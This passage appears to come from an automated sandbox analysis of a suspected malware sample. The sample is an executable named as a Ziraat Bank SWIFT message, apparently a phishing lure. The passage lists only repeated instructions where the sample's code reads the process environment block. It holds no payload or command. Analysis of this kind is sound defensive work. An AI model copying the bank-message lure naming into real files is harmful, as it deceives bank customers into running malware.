          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AF0BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AF0BF mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AF0BF mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279080 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F3884 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F3884 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012740E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012740E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012740E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012758EC mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B8E4 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B8E4 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133131B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127DB60 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A3B7A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A3B7A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127DB40 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348B58 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127F358 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4BAD mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4BAD mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4BAD mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01345BA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01281B8F mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01281B8F mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132D380 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133138A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AB390 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2397 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129DBE9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F53CA mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F53CA mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B4A2C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B4A2C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01288A0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133AA16 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133AA16 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127AA16 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127AA16 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01293A1C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01275210 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01275210 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01275210 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01275210 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B927A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132B260 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132B260 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348A62 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133EA55 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01304257 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012752A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012752A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012752A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012752A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012752A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128AAB0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128AAB0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AFAB0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AD294 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AD294 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2AE4 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2ACB mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133E539 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4D3B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4D3B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4D3B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127AD30 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012FA537 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129C577 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129C577 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B3D43 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F3540 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01323D40 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01297D50 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A35A1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013405AC mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013405AC mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A1DB5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A1DB5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A1DB5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01272D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01272D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01272D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01272D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01272D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AFD9B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AFD9B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01328DF1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128D5E0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128D5E0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133FDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133FDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133FDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133FDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012ABC2C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134740D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134740D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134740D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129746D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130C450 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130C450 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA44B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128849B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013314FB mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6CF0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6CF0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6CF0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348CD6 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01274F2E mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01274F2E mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B73D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B73D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AE730 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130FF10 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130FF10 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA70E mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA70E mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134070D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134070D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129F716 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128FF60 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348F6A mov eax, dword ptr fs:[00000030h]
